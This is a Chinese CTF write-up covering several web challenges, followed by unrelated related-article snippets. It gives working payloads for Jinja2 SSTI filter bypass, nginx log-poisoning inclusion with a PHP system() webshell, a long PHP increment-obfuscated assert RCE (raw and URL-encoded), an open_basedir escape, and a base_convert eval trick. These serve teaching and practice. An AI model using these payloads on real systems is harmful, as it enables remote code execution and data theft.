NSSCTF做题(9)

[GDOUCTF 2023]<ez_ze>

看见输入框而且有提示说是ssti注入

输入{{7*7}} 试试,发现报错

 输入{%%}发现了是jinja2模板

 找到关键函数

Python SSTI利用jinja过滤器进行Bypass · ph0ebus's Blog 原理见这篇文章,这里直接给出payload

{%set nine=dict(aaaaaaaaa=a)|join|count%}

{%set nine=dict(aaaaaaaaa=a)|join|count%}

{%set pop=dict(pop=a)|join%}

{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}

{%set kg=(lipsum|string|list)|attr(pop)(nine)%}

{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}

{%set get=(xhx,xhx,'metiteg'|reverse,xhx,xhx)|join%}

{%set s='so'|reverse%}

{%set cla=(xhx,xhx,'ssalc'|reverse,xhx,xhx)|join%}

{%set bas=(xhx,xhx,'esab'|reverse,xhx,xhx)|join%}

{%set bas=(xhx,xhx,'sessalcbus'|reverse,xhx,xhx)|join%}

{%set po='nepop'|reverse%}

{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}

{%set read=dict(read=a)|join%}

{%print(lipsum|attr(globals)|attr(get)(s)|attr(po)('cat /f*')|attr(read)())%} 

第二种:

{%set u='%c'%95*2%}{%print(''|attr(u+'cla''ss'+u)|attr(u+'ba''se'+u)|attr(u+'su''bcla''sses'+u)()|attr(213)|attr(u+'i''n''i''t'+u)|attr(u+'glo''bal''s'+u)|attr('ge''t')(u+'bui''lti''ns'+u)|attr('ge''t')(u+'imp''ort'+u)('o''s')|attr('po''pen')('ca''t /f''lag')|attr('re''ad')())%} 

 [HNCTF 2022 WEEK2]easy_include

文件包含

过滤了很多东西,基本的伪协议都用不了了,这里涉及到一个没遇到过的文件包含---日志包含

日志包含漏洞-CSDN博客

日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取

apache服务器日志存放文件位置:/var/log/apache/access.log

nginx服务器日志存放位置:和/var/log/nginx/error.log

两者的回显并不相同,apache会存放我们的url参数在访问时回显,这使得我们可以在url后接一句话木马并执行。

看到了服务器是nginx

抓包访问:

 由本地日志文件可以看到nginx服务器中记录的是每次请求user-agent报文,那么我们可以通过包含nginx'服务器的日志文件,然后在user-agent服务器中写入木马语句进行注入

 <?php system('ls /'); ?>

 找到了flag文件

 <?php system('cat /ffflllaaaggg'); ?>

 得到flag

[SWPUCTF 2021 新生赛]hardrce_3

经典rce

 过滤了异或取反构造,这里用自增

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

固定格式构造出来的 assert($_POST[_]);

然后post传入 _=phpinfo();

使用时需要url编码.

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

post传入: _=phpinfo(); 

看到了phpinfo页面

发现system,exec,shell_exec,popen,proc_open,passthru被禁用 .

但是可以用file_put_contents(,)

file_put_contents函数 第一个参数是文件名,第二个参数是内容。

所以 构造:

_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");

然后访问/1.php,得到flag

[CISCN 2019初赛]Love Math

代码审计

 简单分析一下,只有一个GET传参参数是c,然后对上传的值进行黑名单检测,接着给了白名单以及常用的数学函数。这个提示很明显了,需要我们用函数进行转换成我们的执行命令

现在关键是 $_GET 怎么利用数学函数构造

base_convert()函数在任意进制之间转换数字hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。dechex() 函数把十进制数转换为十六进制数。

参考payload,构造方法还有很多

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{acos}($$abs{pi})
&acos=system
&pi=cat /flag

 现在来简单解释一下payload

hex2bin = base_convert(37907361743,10,36)
37907361743 就是 'hex2bin'的36进制,然后base_convert()转换成 10进制

dechex(1598506324) 其实就是 _GET 的16进制
dechex() 将10进制转化成16进制

因为 hex2bin()是将16进制转化成ASCII ,但是正则不允许出现字母数字混合的字符串
所以 _GET = hex2bin(5F474554) = hex2bin(dechex(1598506324))

然后黑名单里是禁用了 [ ],但是在php 中是可以用 { } 来代替 [ ] 的

那再来理解整理一下payload

?c=$abs=_GET;$$abs{acos}($$abs{pi})&acos=system&pi=cat /flag
也就是
?c=$abs=_GET;system(cat /flag)

base_convert函数 

?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{acos}($$abs{pi})&acos=system&pi=cat /flag  

得到flag

[NSSRound#8 Basic]MyDoor 

打开之后什么都没有,用filter伪协议试一下

?file=php://filter/convert.base64-encode/resource=index.php

解码得到源码

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

发现可以传参N_S.S进行rce,由于php的特性,在后端会被规范成N_S_S。 

利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户 

可以看到,在php中,这些符号都会被解析为_,这里N_S.S就会被解析为N_S_S,那么逐一替代,发现使用[的时候产生了回显,而为什么是_出现了问题,可能是因为_在解析的时候有什么我不知道的变化,因为上图没有显示当尝试'_'的语句时是直接回显foo_bar还是没有回显。

根据这个解析就可以访问phpinfo页面  得到flag

?file=1&N[S.S=phpinfo(); 

 [NCTF 2018]flask真香

输入了一个不规范的 ssti注入测试,结果成了

随便找一个页面,然后注入,发现了ssti漏洞,这里边的参数是随便注入的,用什么传参都可以

 尝试{{''.__class__}},发现有过滤

逐个尝试关键字,发现其过滤了这些:

class

mro

subclasses

builtins

eval

import

open

os

使用字符串拼接的方法来绕过。 

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}} 

 

查找os._wrap_close,其他模块也可以,这个模块比较常用。

一个不需要写脚本就可以知道os.wrap.close是第几个的小技巧

找到这模块之后,选择前面一个的 >(大于号) ,然后ctrl+F 输入>回车

得到位置是175

最后的payload:

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[174].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

 

<class 'os._wrap_close'>是Python中的一个类对象的表示形式。在这种情况下,它表示os._wrap_close类的对象。

os._wrap_close类是Python内置模块os中定义的一个内部类。它用于包装文件对象的关闭操作,并提供了一个可用于关闭底层文件描述符的方法。

尽管类存在于Python的标准库中,但它被认为是一个内部类,并不是公共API的一部分。

 

得到flag

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/106615.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3.1 SQL概述

思维导图&#xff1a; 前言&#xff1a; 前言笔记&#xff1a;第3章 关系数据库标准语言SQL - **SQL的定义**&#xff1a; - 关系数据库的标准和通用语言。 - 功能强大&#xff0c;不仅限于查询。 - 功能覆盖&#xff1a;数据库模式创建、数据插入/修改、数据库安全性与…

LeetCode 1095. 山脉数组中查找目标值【数组,二分】1827

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

OOA/D 时统一过程(UP)中的 迭代、 进化 和 敏捷

一、迭代和进化式开发的优势 相对于顺序或“瀑布”软件开发模型&#xff0c;迭代和进化式开发&#xff08;iterative and evolutionary development &#xff09;对部分系统及早地引入了编程和测试&#xff0c;并重复这一循环。这种方式通常会还没有详细定义所有需求的情况下假…

如何使用前端构建工具(如Webpack、Parcel)?

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

C++指针解读(6)-- 指针和字符串

1、字符串的基本概念 &#xff08;1&#xff09;字符串的存储 字符串是存放在字符数组中的。比如字符串“hello”&#xff0c;在内存中是这么存放的&#xff1a; 这里要注意&#xff0c;在字符串的最后会加上一个\0&#xff0c;也被称为NUL字符&#xff0c;表示字符串的结束位…

Liunx中系统安全及文件系统(极其粗糙版)

系统安全&#xff1a; 系统安全和数据防护&#xff0c;数据备份的资质 比如三台服务器&#xff1a; 500万 工信部是有要求的&#xff0c;组织必须保证处理的个人数据的安全性 品牌形象如何维护呢 基于liunx的安全加固措施&#xff1a; 权限进行控制 账号安全&#xff1a;…

09_Webpack打包工具

1 初识Webpack 1.1 什么是Webpack Webpack打包工具对项目中的复杂文件进行打包处理&#xff0c;可以实现项目的自动化构建&#xff0c;并且给前端开发人员带来了极大的便利。 目前&#xff0c;企业中的绝大多数前端项目是基于Webpack打包工具来进行开发的。 1.2 Webpack的安…

C++学习——引用详解

以下内容源于C语言中文网的学习与整理&#xff0c;非原创&#xff0c;如有侵权请告知删除。 一、引用的语法 1、引用的含义 引用&#xff08;Reference&#xff09;是 C 相对于C语言的又一个扩充。 引用可以看做是数据的一个别名&#xff0c;通过这个别名和原来的名字都能够…

可观测 AIOps 的智能监控和诊断实践丨QCon 全球软件开发大会总结

作者&#xff1a;董善东&#xff08;梵登&#xff09; 本文是作者于 9 月 5 日在 QCon 北京 2023&#xff08;全球软件开发大会&#xff09;上做的《阿里云可观测 AIOps 的智能监控和诊断实践》专题演讲文字版。 大家上午好&#xff0c;很高兴可以在 QCon 稳定性和可观测的场…

华为云云耀云服务器L实例评测|华为云耀云服务器L实例评测用例(五)

六、华为云耀云服务器L实例评测用例&#xff1a; “兵马未动&#xff0c;粮草先行”&#xff0c;随着企业业务的快速发展&#xff0c;服务器在数字化建设体系至关重要&#xff0c;为了保证服务器的稳定性、可靠性&#xff0c;需要对服务器进行评测&#xff0c;以确保服务器能够…

FPC柔性电路板介绍及PCB设计经验规则总结

🏡《总目录》 目录 1,概述2,FPC的特点3,FPC设计十五条经验规则4,总结1,概述 FPC软板由于具有可弯曲折叠的特点,当前在消费电子,汽车电子和航空航天领域应用广泛。本文详细介绍FPC的特点并对FPC板设计中需要注意的经验原则进行总结。 2,FPC的特点 FPC的全称是Flexibl…

网站如何应对网络流量攻击

网络安全问题中&#xff0c;受到流量攻击是一种常见挑战。以下是一系列的专业建议&#xff0c;帮助您预防和减轻这类攻击&#xff0c;从而确保您的网站和数据的安全。 使用 Web 应用程序防火墙 (WAF) Web 应用程序防火墙是一项专门的安全工具&#xff0c;能够检测和拦截恶意流…

【Docker 内核详解】namespace 资源隔离(五):User namespaces

【Docker 内核详解 - namespace 资源隔离】系列包含&#xff1a; namespace 资源隔离&#xff08;一&#xff09;&#xff1a;进行 namespace API 操作的 4 种方式namespace 资源隔离&#xff08;二&#xff09;&#xff1a;UTS namespace & IPC namespacenamespace 资源隔…

项目管理软件中注释功能的作用是什么?

在项目管理软件中&#xff0c;注释功能允许您对任务、文件夹和项目进行详细的标注。这一功能不仅便于团队成员之间的沟通与协作&#xff0c;还能提高项目管理的效率。通过在项目中添加评论&#xff0c;您可以及时了解项目的最新动态&#xff0c;提出疑问并寻求解决方案。此外&a…

汇编语言基础

引言 汇编语言是直接在硬件之上工作的编程语言&#xff0c;首先要了解硬件系统的结构&#xff0c;才能有效的应用汇编语言对其编程。汇编课程的研究重点放在如何利用硬件系统的编程结构和指令集有效灵活的控制系统进行工作。 基础知识 1.1机器语言 机器语言是机器指令的集合…

单链表---结构体实现

定义 链表称为线性表的链式存储&#xff0c;顺序表逻辑上相邻的数据&#xff0c;存储位置也相邻。链表逻辑上相邻的数据&#xff0c;存储位置是随机分布在内存的各个位置上的。 故 对于每一个结点&#xff0c;定义的结构体是&#xff1a; typedef struct _LinkNode {int d…

Java-使用sqlSessionTemplate实现批量更新-模拟mybatis 动态sql

环境准备&#xff08;非核心方法&#xff09; 创建表 创建表的sql(下表是基于Oracle创建的) CREATE TABLE "SYSTEM"."STUDENT" ("ID" NUMBER(10, 0),"NAME" VARCHAR2(20 BYTE),"ADDRES" CLOB,PRIMARY KEY ( …

milvus和相似度检索

流程 milvus的使用流程是 创建collection -> 创建partition -> 创建索引(如果需要检索) -> 插入数据 -> 检索 这里以Python为例, 使用的milvus版本为2.3.x 首先按照库&#xff0c; python3 -m pip install pymilvus Connect from pymilvus import connections c…

mac电脑版数字图像处理软件:ACDSee Photo Studio 9最新 for Mac

ACDSee Photo Studio 9是一款由ACD Systems开发的功能强大的照片管理和编辑软件&#xff0c;专为Mac用户提供一站式解决方案&#xff0c;方便用户轻松浏览、管理和编辑照片。该软件提供了许多实用的工具和功能&#xff0c;包括高效的导入和排序工具、强大的编辑工具、智能组织和…

CustomTabBar 自定义选项卡视图

1. 用到的技术点 1) Generics 泛型 2) ViewBuilder 视图构造器 3) PreferenceKey 偏好设置 4) MatchedGeometryEffect 几何效果 2. 创建枚举选项卡项散列&#xff0c;TabBarItem.swift import Foundation import SwiftUI//struct TabBarItem: Hashable{ // let ico…